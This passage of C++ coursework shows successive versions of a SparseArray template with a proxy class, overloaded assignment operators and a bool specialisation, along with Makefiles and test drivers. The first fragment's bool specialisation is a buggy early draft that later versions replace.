template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
template <>
class SparseArray<bool> {
int *array;
int len;
int capacity;
int defval;
public:
SparseArray(int dv = 0, int c = 64) : len(0), capacity(c), defval(dv)
{ array = new int[capacity]; }
~SparseArray() { delete[] array; };
class Interm {
friend class SparseArray<bool>;
SparseArray *master;
int index;
Interm(SparseArray *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int() const;
int operator=(const int& x);
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const int& operator[](int idx) const;
int NonzeroCount() const { return len; }
private:
SparseArray(const SparseArray&) {}
void operator=(const SparseArray&) {}
};
const int& SparseArray<bool>::operator[](int idx) const
{
for (int i = 0; i < len; i++)
if (i == idx)
return array[i];
return defval;
}
int& SparseArray<bool>::Interm::Provide()
{
for (int i = 0; i < master->len; i++)
if (i == index)
return master->array[i];
if (master->len == master->capacity) {
int new_capacity = 2 * master->capacity;
int *new_array = new int[new_capacity];
master->capacity = new_capacity;
for (int i = 0; i < master->len; i++)
new_array[i] = master->array[i];
delete[] master->array;
master->array = new_array;
}
master->array[master->len] = master->defval;
master->len++;
return master->array[master->len-1];
}
void SparseArray<bool>::Interm::Remove()
{
for (int i = 0; i < master->len; i++)
if (i == index) {
for (int j = i; j < master->len - 1; j++)
master->array[j] = master->array[j+1];
master->array[master->len - 1] = master->defval;
break;
}
}
int SparseArray<bool>::Interm::operator=(const int &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
SparseArray<bool>::Interm::operator int() const
{
for (int i = 0; i < master->len; i++)
if (i == index)
return master->array[i];
return master->defval;
}
#endif
03c (10-07)
MakefileMake / 20 lines
MODULES = sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
main.cppC++ / 56 lines
#include <stdio.h>
#include "sparse.hpp"
void show(const char *what, const SparseArray<bool>& c)
{
printf("%-18s %d %d %d %d (stored: %d)\n", what, c[0], c[1], c[5],
c[1000000], c.NonzeroCount());
}
void test_default_false()
{
SparseArray<bool> b(false);
show("empty:", b);
b[5] = true;
b[1000000] = true;
b[1] = 25; /* any nonzero number is true */
show("three set:", b);
b[1] = false;
show("b[1] = false:", b);
b[0] = b[5];
show("b[0] = b[5]:", b);
b[5] = true; /* already there: no duplicate */
show("b[5] = true again:", b);
}
void test_default_true()
{
SparseArray<bool> t(true);
t[5] = false;
show("default true:", t);
}
void test_growth()
{
SparseArray<bool> b(false);
int i, count = 0;
for (i = 0; i < 1000; i++)
b[3 * i] = true;
for (i = 0; i < 3000; i++)
if (b[i])
count++;
printf("%-18s %d of 3000 (stored: %d)\n", "every third:", count,
b.NonzeroCount());
}
int main()
{
SparseArray<int> a(0); /* the general template still works */
test_default_false();
test_default_true();
test_growth();
a[7] = 42;
printf("%-18s %d\n", "SparseArray<int>:", (int) a[7]);
return 0;
}
sparse.hppC++ / 398 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return defval;
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return master->defval;
}
template <>
class SparseArray<bool> {
int *indices;
int len, capacity;
bool defval;
int Find(int idx) const;
void Add(int idx);
void Remove(int idx);
bool Get(int idx) const;
void Set(int idx, bool x);
public:
SparseArray(const bool &dv)
: indices(0), len(0), capacity(0), defval(dv) {}
~SparseArray() { delete[] indices; }
class Interm {
friend class SparseArray<bool>;
SparseArray<bool> *master;
int index;
Interm(SparseArray<bool> *a_master, int ind)
: master(a_master), index(ind) {}
public:
operator bool() const { return master->Get(index); }
bool operator=(bool x) { master->Set(index, x); return x; }
bool operator=(const Interm& x) { return *this = bool(x); }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
bool operator[](int idx) const { return Get(idx); }
int NonzeroCount() const { return len; }
private:
SparseArray(const SparseArray<bool>&) {}
void operator=(const SparseArray<bool>&) {}
};
inline int SparseArray<bool>::Find(int idx) const
{
for (int i = 0; i < len; i++)
if (indices[i] == idx)
return i;
return -1;
}
inline void SparseArray<bool>::Add(int idx)
{
if (Find(idx) != -1)
return;
if (len == capacity) {
int new_capacity = capacity ? 2 * capacity : 16;
int *new_indices = new int[new_capacity];
for (int i = 0; i < len; i++)
new_indices[i] = indices[i];
delete[] indices;
indices = new_indices;
capacity = new_capacity;
}
indices[len] = idx;
len++;
}
inline void SparseArray<bool>::Remove(int idx)
{
int pos = Find(idx);
if (pos == -1)
return;
indices[pos] = indices[len - 1];
len--;
}
inline bool SparseArray<bool>::Get(int idx) const
{
bool stored = Find(idx) != -1;
return stored ? !defval : defval;
}
inline void SparseArray<bool>::Set(int idx, bool x)
{
if (x == defval)
Remove(idx);
else
Add(idx);
}
#endif
03d (10-07)
MakefileMake / 20 lines
MODULES = sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
main.cppC++ / 56 lines
#include <stdio.h>
#include "sparse.hpp"
void show(const char *what, const SparseArray<bool>& c)
{
printf("%-18s %d %d %d %d (stored: %d)\n", what, c[0], c[1], c[5],
c[1000000], c.NonzeroCount());
}
void test_default_false()
{
SparseArray<bool> b(false);
show("empty:", b);
b[5] = true;
b[1000000] = true;
b[1] = 25; /* any nonzero number is true */
show("three set:", b);
b[1] = false;
show("b[1] = false:", b);
b[0] = b[5];
show("b[0] = b[5]:", b);
b[5] = true; /* already there: no duplicate */
show("b[5] = true again:", b);
}
void test_default_true()
{
SparseArray<bool> t(true);
t[5] = false;
show("default true:", t);
}
void test_growth()
{
SparseArray<bool> b(false);
int i, count = 0;
for (i = 0; i < 1000; i++)
b[3 * i] = true;
for (i = 0; i < 3000; i++)
if (b[i])
count++;
printf("%-18s %d of 3000 (stored: %d)\n", "every third:", count,
b.NonzeroCount());
}
int main()
{
SparseArray<int> a(0); /* the general template still works */
test_default_false();
test_default_true();
test_growth();
a[7] = 42;
printf("%-18s %d\n", "SparseArray<int>:", (int) a[7]);
return 0;
}
sparse.hppC++ / 413 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
T *Find(int idx) const; /* the stored value, or 0 */
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Push();
T& Provide();
void Remove();
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
T operator+=(const T& x);
T operator-=(const T& x);
T operator*=(const T& x);
T operator/=(const T& x);
T operator%=(const T& x);
T operator<<=(int n);
T operator>>=(int n);
T operator|=(const T& x);
T operator&=(const T& x);
T operator^=(const T& x);
T operator++();
T operator++(int);
T operator--();
T operator--(int);
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
T *SparseArray<T>::Find(int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return &tmp->value;
return 0;
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
T *found = Find(idx);
if (found)
return *found;
return defval;
}
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Push()
{
Item *tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
T *found = master->Find(index);
if (found)
return *found;
return Push();
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::operator+=(const T& x)
{
T& location = Provide();
location += x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator-=(const T& x)
{
T& location = Provide();
location -= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator*=(const T& x)
{
T& location = Provide();
location *= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator/=(const T& x)
{
T& location = Provide();
location /= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator%=(const T& x)
{
T& location = Provide();
location %= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator<<=(int n)
{
T& location = Provide();
location <<= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator>>=(int n)
{
T& location = Provide();
location >>= n;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator|=(const T& x)
{
T& location = Provide();
location |= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator&=(const T& x)
{
T& location = Provide();
location &= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator^=(const T& x)
{
T& location = Provide();
location ^= x;
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++()
{
T& location = Provide();
++location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator++(int)
{
T& location = Provide();
T res = location;
location++;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--()
{
T& location = Provide();
--location;
T res = location;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator--(int)
{
T& location = Provide();
T res = location;
location--;
if (location == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
T *found = master->Find(index);
if (found)
return *found;
return master->defval;
}
template <>
class SparseArray<bool> {
int *indices;
int len, capacity;
bool defval;
int Find(int idx) const;
void Add(int idx);
void Remove(int idx);
bool Get(int idx) const;
void Set(int idx, bool x);
public:
SparseArray(const bool &dv)
: indices(0), len(0), capacity(0), defval(dv) {}
~SparseArray() { delete[] indices; }
class Interm {
friend class SparseArray<bool>;
SparseArray<bool> *master;
int index;
Interm(SparseArray<bool> *a_master, int ind)
: master(a_master), index(ind) {}
public:
operator bool() const { return master->Get(index); }
bool operator=(bool x) { master->Set(index, x); return x; }
bool operator=(const Interm& x) { return *this = bool(x); }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
bool operator[](int idx) const { return Get(idx); }
int NonzeroCount() const { return len; }
private:
SparseArray(const SparseArray<bool>&) {}
void operator=(const SparseArray<bool>&) {}
};
inline int SparseArray<bool>::Find(int idx) const
{
for (int i = 0; i < len; i++)
if (indices[i] == idx)
return i;
return -1;
}
inline void SparseArray<bool>::Add(int idx)
{
if (Find(idx) != -1)
return;
if (len == capacity) {
int new_capacity = capacity ? 2 * capacity : 16;
int *new_indices = new int[new_capacity];
for (int i = 0; i < len; i++)
new_indices[i] = indices[i];
delete[] indices;
indices = new_indices;
capacity = new_capacity;
}
indices[len] = idx;
len++;
}
inline void SparseArray<bool>::Remove(int idx)
{
int pos = Find(idx);
if (pos == -1)
return;
indices[pos] = indices[len - 1];
len--;
}
inline bool SparseArray<bool>::Get(int idx) const
{
bool stored = Find(idx) != -1;
return stored ? !defval : defval;
}
inline void SparseArray<bool>::Set(int idx, bool x)
{
if (x == defval)
Remove(idx);
else
Add(idx);
}
#endif
03e (10-07)
MakefileMake / 20 lines
MODULES = sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
main.cppC++ / 295 lines
#include <stdio.h>
#include "sparse.hpp"
static int checks = 0, failures = 0;
bool check(bool ok, const char *msg)
{
checks++;
if (!ok) {
fprintf(stderr, "wrong %s\n", msg);
failures++;
}
return ok;
}
void check_int(long got, long want, const char *msg)
{
if (!check(got == want, msg))
fprintf(stderr, " got %ld, want %ld\n", got, want);
}
void test_assignment()
{
SparseArray<int> a(0);
check_int(a[5], 0, "missing element is the default");
check_int(a.NonzeroCount(), 0, "empty array stores nothing");
a[5] = 10;
a[-3] = 20;
a[1000000] = 30;
check_int(a[5], 10, "assigned element");
check_int(a[-3], 20, "negative index");
check_int(a[1000000], 30, "large index");
check_int(a.NonzeroCount(), 3, "count after three assignments");
a[5] = 11;
check_int(a[5], 11, "overwritten element");
check_int(a.NonzeroCount(), 3, "overwriting adds nothing");
a[5] = 0;
check_int(a[5], 0, "element assigned the default");
check_int(a.NonzeroCount(), 2, "assigning the default removes");
a[77] = 0;
check_int(a.NonzeroCount(), 2, "default to a missing element");
check_int(a[8] = 9, 9, "value of an assignment");
}
void test_element_to_element()
{
SparseArray<int> a(0);
a[1] = 10;
a[2] = 20;
a[1] = a[2];
check_int(a[1], 20, "a[1] = a[2]");
a[3] = a[9];
check_int(a.NonzeroCount(), 2, "a[3] = missing stores nothing");
a[2] = a[9];
check_int(a.NonzeroCount(), 1, "a[2] = missing removes a[2]");
a[1] = a[1];
check_int(a[1], 20, "a[1] = a[1]");
a[4] = a[5] = 7;
check_int(a[4] + a[5], 14, "a[4] = a[5] = 7");
}
/* every operator generated by SPARSE_ASSIGN, on the same start value */
void test_assign_operators()
{
SparseArray<int> a(0);
int i;
for (i = 0; i < 10; i++)
a[i] = 12;
check_int(a[0] += 5, 17, "+=");
check_int(a[1] -= 5, 7, "-=");
check_int(a[2] *= 5, 60, "*=");
check_int(a[3] /= 5, 2, "/=");
check_int(a[4] %= 5, 2, "%=");
check_int(a[5] |= 3, 15, "|=");
check_int(a[6] &= 5, 4, "&=");
check_int(a[7] ^= 5, 9, "^=");
check_int(a[8] <<= 2, 48, "<<=");
check_int(a[9] >>= 2, 3, ">>=");
check_int(a[0] + a[1] + a[2] + a[3] + a[4], 88, "stored: first five");
check_int(a[5] + a[6] + a[7] + a[8] + a[9], 79, "stored: last five");
}
/* an operator whose result is the default must remove the element */
void test_operators_remove()
{
SparseArray<int> a(0);
int i;
for (i = 0; i < 8; i++)
a[i] = 12;
a[0] += -12;
a[1] -= 12;
a[2] *= 0;
a[3] /= 13;
a[4] %= 12;
a[5] &= 3;
a[6] ^= 12;
a[7] >>= 4;
check_int(a.NonzeroCount(), 0, "results equal to the default");
a[9] += 5;
check_int(a[9], 5, "+= on a missing element");
a[8] += 0;
check_int(a.NonzeroCount(), 1, "+= 0 on a missing element");
a[9] += a[9];
check_int(a[9], 10, "a[9] += a[9]");
a[9] -= a[9];
check_int(a.NonzeroCount(), 0, "a[9] -= a[9]");
}
/* the operators generated by SPARSE_STEP */
void test_steps()
{
SparseArray<int> a(0);
a[1] = 5;
check_int(++a[1], 6, "prefix ++ gives the new value");
check_int(a[1]++, 6, "postfix ++ gives the old value");
check_int(a[1], 7, "after two increments");
check_int(--a[1], 6, "prefix -- gives the new value");
check_int(a[1]--, 6, "postfix -- gives the old value");
check_int(a[1], 5, "after two decrements");
check_int(a[2]++, 0, "postfix ++ on a missing element");
check_int(a[2], 1, "missing element after ++");
a[2]--;
check_int(a.NonzeroCount(), 1, "-- down to the default removes");
a[3] = -1;
++a[3];
check_int(a.NonzeroCount(), 1, "++ up to the default removes");
}
void test_nonzero_default()
{
SparseArray<int> a(100);
check_int(a[5], 100, "missing element, default 100");
a[5] += 1;
check_int(a[5], 101, "+= starts from the default");
a[6] = 0;
check_int(a.NonzeroCount(), 2, "zero is stored when default is 100");
a[5]--;
a[6] = 100;
check_int(a.NonzeroCount(), 0, "back to the default");
}
void test_const_reference()
{
SparseArray<int> a(0);
const SparseArray<int>& c = a;
int i, sum = 0;
a[1] = 10;
a[3] = 30;
for (i = 0; i < 100; i++)
sum += c[i];
check_int(sum, 40, "sum through a const reference");
check_int(a.NonzeroCount(), 2, "reading creates nothing");
check(&c[1] == &c[1], "same object for an existing element");
check(&c[2] == &c[99], "one object for all missing elements");
check(&c[1] != &c[3], "different objects for different elements");
const int& r = c[3];
a[3] = 31;
check_int(r, 31, "a reference follows its element");
}
void test_double()
{
SparseArray<double> d(0.5);
d[1] = 2.0;
d[1] *= 4;
d[2] += 1.5;
d[3] = 0.5;
check(d[1] == 8.0, "double: *=");
check(d[2] == 2.0, "double: += from the default");
check(d[9] == 0.5, "double: missing element");
check_int(d.NonzeroCount(), 2, "double: count");
d[2] -= 1.5;
check_int(d.NonzeroCount(), 1, "double: back to the default");
}
class Money { /* has ==, =, copying; nothing else */
long cents;
public:
Money(long a_cents = 0) : cents(a_cents) {}
long Cents() const { return cents; }
bool operator==(const Money& other) const { return cents == other.cents; }
};
void test_class_element()
{
SparseArray<Money> m(Money(0));
const SparseArray<Money>& c = m;
m[1] = Money(250);
m[2] = Money(999);
m[2] = Money(0);
check_int(c[1].Cents(), 250, "class: stored element");
check_int(c[2].Cents(), 0, "class: removed element");
check_int(Money(m[1]).Cents(), 250, "class: conversion to a copy");
check_int(m.NonzeroCount(), 1, "class: count");
m[3] = m[1];
check_int(c[3].Cents(), 250, "class: element to element");
}
struct Point {
int x, y;
};
void test_pointers()
{
Point p = { 3, 4 };
SparseArray<Point*> s(0);
bool thrown = false;
s[1] = &p;
check_int(s[1]->x + s[1]->y, 7, "pointers: reading through ->");
s[1]->x = 30;
check_int(p.x, 30, "pointers: changing through ->");
try {
s[9]->x = 1;
}
catch (const NullElement& ex) {
thrown = ex.Index() == 9;
}
check(thrown, "pointers: NullElement for a missing element");
check_int(s.NonzeroCount(), 1, "pointers: -> creates nothing");
}
void test_bool()
{
SparseArray<bool> b(false), t(true);
const SparseArray<bool>& c = b;
b[5] = true;
b[1000000] = true;
b[1] = 25;
check(c[5] && c[1000000] && c[1], "bool: elements set");
check(!c[0] && !c[6], "bool: missing elements are false");
check_int(c[1], 1, "bool: 25 is stored as true");
b[5] = true;
check_int(b.NonzeroCount(), 3, "bool: no duplicate index");
b[1] = false;
check_int(b.NonzeroCount(), 2, "bool: false removes");
b[0] = b[5];
check(c[0], "bool: element to element");
t[5] = false;
check(!t[5] && t[4], "bool: default true");
check_int(t.NonzeroCount(), 1, "bool: false stored, default true");
}
template <class T>
int count_set(SparseArray<T>& a, int n)
{
int i, count = 0;
for (i = 0; i < n; i++)
if (a[i])
count++;
return count;
}
void test_many()
{
SparseArray<int> a(0);
SparseArray<bool> b(false);
int i;
for (i = 0; i < 1000; i++) {
a[3 * i] = i + 1;
b[3 * i] = true;
}
check_int(a.NonzeroCount(), 1000, "many: int count");
check_int(b.NonzeroCount(), 1000, "many: bool count");
check_int(count_set(a, 3000), 1000, "many: int values");
check_int(count_set(b, 3000), 1000, "many: bool values");
for (i = 0; i < 1000; i += 2) {
a[3 * i] = 0;
b[3 * i] = false;
}
check_int(a.NonzeroCount(), 500, "many: int count after removal");
check_int(b.NonzeroCount(), 500, "many: bool count after removal");
check_int(a[3 * 999], 1000, "many: last element intact");
}
int main()
{
test_assignment();
test_element_to_element();
test_assign_operators();
test_operators_remove();
test_steps();
test_nonzero_default();
test_const_reference();
test_double();
test_class_element();
test_pointers();
test_bool();
test_many();
if (failures)
fprintf(stderr, "%d of %d checks failed\n", failures, checks);
else
printf("all %d checks passed\n", checks);
return failures != 0;
}
sparse.hppC++ / 275 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
#define SPARSE_ASSIGN(OP, ARG) \
T operator OP(ARG x) { T& v = Provide(); v OP x; return Finish(v); }
#define SPARSE_STEP(OP) \
T operator OP() { T& v = Provide(); OP v; return Finish(v); } \
T operator OP(int) \
{ T& v = Provide(); T old = v; v OP; Finish(v); return old; }
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
};
Item *first;
T defval;
T *Find(int idx) const;
public:
SparseArray(const T &dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
T& Push();
T& Provide();
void Remove();
T Finish(T& location);
public:
operator T() const;
T operator=(const T& x);
T operator=(const Interm& x);
SPARSE_ASSIGN(+=, const T&)
SPARSE_ASSIGN(-=, const T&)
SPARSE_ASSIGN(*=, const T&)
SPARSE_ASSIGN(/=, const T&)
SPARSE_ASSIGN(%=, const T&)
SPARSE_ASSIGN(|=, const T&)
SPARSE_ASSIGN(&=, const T&)
SPARSE_ASSIGN(^=, const T&)
SPARSE_ASSIGN(<<=, int)
SPARSE_ASSIGN(>>=, int)
SPARSE_STEP(++)
SPARSE_STEP(--)
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
#undef SPARSE_ASSIGN
#undef SPARSE_STEP
template <class T>
T *SparseArray<T>::Find(int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return &tmp->value;
return 0;
}
template <class T>
const T& SparseArray<T>::operator[](int idx) const
{
T *found = Find(idx);
if (found)
return *found;
return defval;
}
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T& SparseArray<T>::Interm::Push()
{
Item *tmp = new Item;
tmp->index = index;
tmp->value = master->defval;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
template <class T>
T& SparseArray<T>::Interm::Provide()
{
T *found = master->Find(index);
if (found)
return *found;
return Push();
}
template<class T>
void SparseArray<T>::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
template <class T>
SparseArray<T>::Interm::operator T() const
{
T *found = master->Find(index);
if (found)
return *found;
return master->defval;
}
template <class T>
T SparseArray<T>::Interm::operator=(const T &x)
{
if (x == master->defval)
Remove();
else
Provide() = x;
return x;
}
template <class T>
T SparseArray<T>::Interm::operator=(const Interm& x)
{
T value = x;
return *this = value;
}
template <class T>
T SparseArray<T>::Interm::Finish(T& location)
{
T res = location;
if (res == master->defval)
Remove();
return res;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <>
class SparseArray<bool> {
